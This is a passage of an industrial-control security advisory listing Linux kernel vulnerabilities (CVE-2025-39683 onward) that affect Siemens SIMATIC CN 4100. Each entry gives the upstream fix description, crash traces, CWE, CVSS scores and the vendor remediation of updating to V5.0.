Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tracing: Limit access to parser->buffer when trace_get_user failed When the length of the string written to set_ftrace_filter exceeds FTRACE_BUFF_MAX, the following KASAN alarm will be triggered: BUG: KASAN: slab-out-of-bounds in strsep+0x18c/0x1b0 Read of size 1 at addr ffff0000d00bd5ba by task ash/165 CPU: 1 UID: 0 PID: 165 Comm: ash Not tainted 6.16.0-g6bcdbd62bd56-dirty Hardware name: linux,dummy-virt (DT) Call trace: show_stack+0x34/0x50 (C) dump_stack_lvl+0xa0/0x158 print_address_description.constprop.0+0x88/0x398 print_report+0xb0/0x280 kasan_report+0xa4/0xf0 __asan_report_load1_noabort+0x20/0x30 strsep+0x18c/0x1b0 ftrace_process_regex.isra.0+0x100/0x2d8 ftrace_regex_release+0x484/0x618 __fput+0x364/0xa58 ____fput+0x28/0x40 task_work_run+0x154/0x278 do_notify_resume+0x1f0/0x220 el0_svc+0xec/0xf0 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x1ac/0x1b0 The reason is that trace_get_user will fail when processing a string longer than FTRACE_BUFF_MAX, but not set the end of parser->buffer to 0. Then an OOB access will be triggered in ftrace_regex_release-> ftrace_process_regex->strsep->strpbrk. We can solve this problem by limiting access to parser->buffer when trace_get_user failed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Fix use of uninitialized memory in do_insn_ioctl() and do_insnlist_ioctl() syzbot reports a KMSAN kernel-infoleak in `do_insn_ioctl()`. A kernel buffer is allocated to hold `insn->n` samples (each of which is an `unsigned int`). For some instruction types, `insn->n` samples are copied back to user-space, unless an error code is being returned. The problem is that not all the instruction handlers that need to return data to userspace fill in the whole `insn->n` samples, so that there is an information leak. There is a similar syzbot report for `do_insnlist_ioctl()`, although it does not have a reproducer for it at the time of writing. One culprit is `insn_rw_emulate_bits()` which is used as the handler for `INSN_READ` or `INSN_WRITE` instructions for subdevices that do not have a specific handler for that instruction, but do have an `INSN_BITS` handler. For `INSN_READ` it only fills in at most 1 sample, so if `insn->n` is greater than 1, the remaining `insn->n - 1` samples copied to userspace will be uninitialized kernel data. Another culprit is `vm80xx_ai_insn_read()` in the \"vm80xx\" driver. It never returns an error, even if it fails to fill the buffer. Fix it in `do_insn_ioctl()` and `do_insnlist_ioctl()` by making sure that uninitialized parts of the allocated buffer are zeroed before handling each instruction. Thanks to Arnaud Lecomte for their fix to `do_insn_ioctl()`. That fix replaced the call to `kmalloc_array()` with `kcalloc()`, but it is not always necessary to clear the whole buffer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: pcl726: Prevent invalid irq number The reproducer passed in an irq number(0x80008000) that was too large, which triggered the oob. Added an interrupt number check to prevent users from passing in an irq number that was too large. If `it->options[1]` is 31, then `1 << it->options[1]` is still invalid because it shifts a 1-bit into the sign bit (which is UB in C). Possible solutions include reducing the upper bound on the `it->options[1]` value to 30 or lower, or using `1U << it->options[1]`. The old code would just not attempt to request the IRQ if the `options[1]` value were invalid. And it would still configure the device without interrupts even if the call to `request_irq` returned an error. So it would be better to combine this test with the test below.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39686\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Make insn_rw_emulate_bits() do insn->n samples The `insn_rw_emulate_bits()` function is used as a default handler for `INSN_READ` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_READ`. Similarly, it is used as a default handler for `INSN_WRITE` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_WRITE`. It works by emulating the `INSN_READ` or `INSN_WRITE` instruction handling with a constructed `INSN_BITS` instruction. However, `INSN_READ` and `INSN_WRITE` instructions are supposed to be able read or write multiple samples, indicated by the `insn->n` value, but `insn_rw_emulate_bits()` currently only handles a single sample. For `INSN_READ`, the comedi core will copy `insn->n` samples back to user-space. (That triggered KASAN kernel-infoleak errors when `insn->n` was greater than 1, but that is being fixed more generally elsewhere in the comedi core.) Make `insn_rw_emulate_bits()` either handle `insn->n` samples, or return an error, to conform to the general expectation for `INSN_READ` and `INSN_WRITE` handlers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: as73211: Ensure buffer holes are zeroed Given that the buffer is copied to a kfifo that ultimately user space can read, ensure we zero it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39689\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Also allocate and copy hash for reading of filter files Currently the reader of set_ftrace_filter and set_ftrace_notrace just adds the pointer to the global tracer hash to its iterator. Unlike the writer that allocates a copy of the hash, the reader keeps the pointer to the filter hashes. This is problematic because this pointer is static across function calls that release the locks that can update the global tracer hashes. This can cause UAF and similar bugs. Allocate and copy the hash for reading the filter files like it is done for the writers. This not only fixes UAF bugs, but also makes the code a bit simpler as it doesn't have to differentiate when to free the iterator's hash between writers and readers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/buffer: fix use-after-free when call bh_read() helper There's issue as follows: BUG: KASAN: stack-out-of-bounds in end_buffer_read_sync+0xe3/0x110 Read of size 8 at addr ffffc9000168f7f8 by task swapper/3/0 CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 6.16.0-862.14.0.6.x86_64 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) Call Trace: dump_stack_lvl+0x55/0x70 print_address_description.constprop.0+0x2c/0x390 print_report+0xb4/0x270 kasan_report+0xb8/0xf0 end_buffer_read_sync+0xe3/0x110 end_bio_bh_io_sync+0x56/0x80 blk_update_request+0x30a/0x720 scsi_end_request+0x51/0x2b0 scsi_io_completion+0xe3/0x480 ? scsi_device_unbusy+0x11e/0x160 blk_complete_reqs+0x7b/0x90 handle_softirqs+0xef/0x370 irq_exit_rcu+0xa5/0xd0 sysvec_apic_timer_interrupt+0x6e/0x90 Above issue happens when do ntfs3 filesystem mount, issue may happens as follows: mount IRQ ntfs_fill_super read_cache_page do_read_cache_folio filemap_read_folio mpage_read_folio do_mpage_readpage ntfs_get_block_vbo bh_read submit_bh wait_on_buffer(bh); blk_complete_reqs scsi_io_completion scsi_end_request blk_update_request end_bio_bh_io_sync end_buffer_read_sync __end_buffer_read_notouch unlock_buffer wait_on_buffer(bh);--> return will return to caller put_bh --> trigger stack-out-of-bounds In the mpage_read_folio() function, the stack variable 'map_bh' is passed to ntfs_get_block_vbo(). Once unlock_buffer() unlocks and wait_on_buffer() returns to continue processing, the stack variable is likely to be reclaimed. Consequently, during the end_buffer_read_sync() process, calling put_bh() may result in stack overrun. If the bh is not allocated on the stack, it belongs to a folio. Freeing a buffer head which belongs to a folio is done by drop_buffers() which will fail to free buffers which are still locked. So it is safe to call put_bh() before __end_buffer_read_notouch().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39692\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: server: split ksmbd_rdma_stop_listening() out of ksmbd_rdma_destroy() We can't call destroy_workqueue(smb_direct_wq); before stop_sessions()! Otherwise already existing connections try to use smb_direct_wq as a NULL pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Avoid a NULL pointer dereference [WHY] Although unlikely drm_atomic_get_new_connector_state() or drm_atomic_get_old_connector_state() can return NULL. [HOW] Check returns before dereference. (cherry picked from commit 1e5e8d672fec9f2ab352be121be971877bff2af9)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: s390/sclp: Fix SCCB present check Tracing code called by the SCLP interrupt handler contains early exits if the SCCB address associated with an interrupt is NULL. This check is performed after physical to virtual address translation. If the kernel identity mapping does not start at address zero, the resulting virtual address is never zero, so that the NULL checks won't work. Subsequently this may result in incorrect accesses to the first page of the identity mapping. Fix this by introducing a function that handles the NULL case before address translation.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix a race when updating an existing write After nfs_lock_and_join_requests() tests for whether the request is still attached to the mapping, nothing prevents a call to nfs_inode_remove_request() from succeeding until we actually lock the page group. The reason is that whoever called nfs_inode_remove_request() doesn't necessarily have a lock on the page group head. So in order to avoid races, let's take the page group lock earlier in nfs_lock_and_join_requests(), and hold it across the removal of the request in nfs_inode_remove_request().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ACPI: pfr_update: Fix the driver update version check The security-version-number check should be used rather than the runtime version check for driver updates. Otherwise, the firmware update would fail when the update binary had a lower runtime version number than the current one. [ rjw: Changelog edits ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1025 Comparison Using Wrong Factors\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ipv6: sr: Fix MAC comparison to be constant-time To prevent timing attacks, MACs need to be compared in constant time. Use the appropriate helper function for this.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-208 Observable Timing Discrepancy\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39703\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net, hsr: reject HSR frame if skb can't hold tag Receiving HSR frame with insufficient space to hold HSR tag in the skb can result in a crash (kernel BUG): [ 45.390915] skbuff: skb_under_panic: text:ffffffff86f32cac len:26 put:14 head:ffff888042418000 data:ffff888042417ff4 tail:0xe end:0x180 dev:bridge_slave_1 [ 45.392559] ------------[ cut here ]------------ [ 45.392912] kernel BUG at net/core/skbuff.c:211! [ 45.393276] Oops: invalid opcode: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN NOPTI [ 45.393809] CPU: 1 UID: 0 PID: 2496 Comm: reproducer Not tainted 6.15.0 #12 PREEMPT(undef) [ 45.394433] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 45.395273] RIP: 0010:skb_panic+0x15b/0x1d0 [ 45.402911] Call Trace: [ 45.403105] [ 45.404470] skb_push+0xcd/0xf0 [ 45.404726] br_dev_queue_push_xmit+0x7c/0x6c0 [ 45.406513] br_forward_finish+0x128/0x260 [ 45.408483] __br_forward+0x42d/0x590 [ 45.409464] maybe_deliver+0x2eb/0x420 [ 45.409763] br_flood+0x174/0x4a0 [ 45.410030] br_handle_frame_finish+0xc7c/0x1bc0 [ 45.411618] br_handle_frame+0xac3/0x1230 [ 45.413674] __netif_receive_skb_core.constprop.0+0x808/0x3df0 [ 45.422966] __netif_receive_skb_one_core+0xb4/0x1f0 [ 45.424478] __netif_receive_skb+0x22/0x170 [ 45.424806] process_backlog+0x242/0x6d0 [ 45.425116] __napi_poll+0xbb/0x630 [ 45.425394] net_rx_action+0x4d1/0xcc0 [ 45.427613] handle_softirqs+0x1a4/0x580 [ 45.427926] do_softirq+0x74/0x90 [ 45.428196] This issue was found by syzkaller. The panic happens in br_dev_queue_push_xmit() once it receives a corrupted skb with ETH header already pushed in linear data. When it attempts the skb_push() call, there's not enough headroom and skb_push() panics. The corrupted skb is put on the queue by HSR layer, which makes a sequence of unintended transformations when it receives a specific corrupted HSR frame (with incomplete TAG). Fix it by dropping and consuming frames that are not long enough to contain both ethernet and hsr headers. Alternative fix would be to check for enough headroom before skb_push() in br_dev_queue_push_xmit(). In the reproducer, this is injected via AF_PACKET, but I don't easily see why it couldn't be sent over the wire from adjacent network. Further Details: In the reproducer, the following network interface chain is set up: \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth0_to_hsr \u251c\u2500\u2500\u2500\u2524 hsr_slave0 \u253c\u2500\u2500\u2500\u2510 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u251c\u2500\u2524 hsr0 \u251c\u2500\u2500\u2500\u2510 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 veth1_to_hsr \u253c\u2500\u2500\u2500\u2524 hsr_slave1 \u251c\u2500\u2500\u2500\u2518 \u2514\u2524 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u250c\u253c bridge \u2502 \u2502\u2502 \u2502 \u2502\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 ... \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 To trigger the events leading up to crash, reproducer sends a corrupted HSR fr ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-1286 Improper Validation of Syntactic Correctness of Input\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Destroy KFD debugfs after destroy KFD wq Since KFD proc content was moved to kernel debugfs, we can't destroy KFD debugfs before kfd_process_destroy_wq. Move kfd_process_destroy_wq prior to kfd_debugfs_fini to fix a kernel NULL pointer problem. It happens when /sys/kernel/debug/kfd was already destroyed in kfd_debugfs_fini but kfd_process_destroy_wq calls kfd_debugfs_remove_process. This line debugfs_remove_recursive(entry->proc_dentry); tries to remove /sys/kernel/debug/kfd/proc/ while /sys/kernel/debug/kfd is already gone. It hangs the kernel by kernel NULL pointer. (cherry picked from commit 0333052d90683d88531558dcfdbf2525cc37c233)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39709\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: protect against spurious interrupts during probe Make sure the interrupt handler is initialized before the interrupt is registered. If the IRQ is registered before hfi_create(), it's possible that an interrupt fires before the handler setup is complete, leading to a NULL dereference. This error condition has been observed during system boot on Rb3Gen2.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div 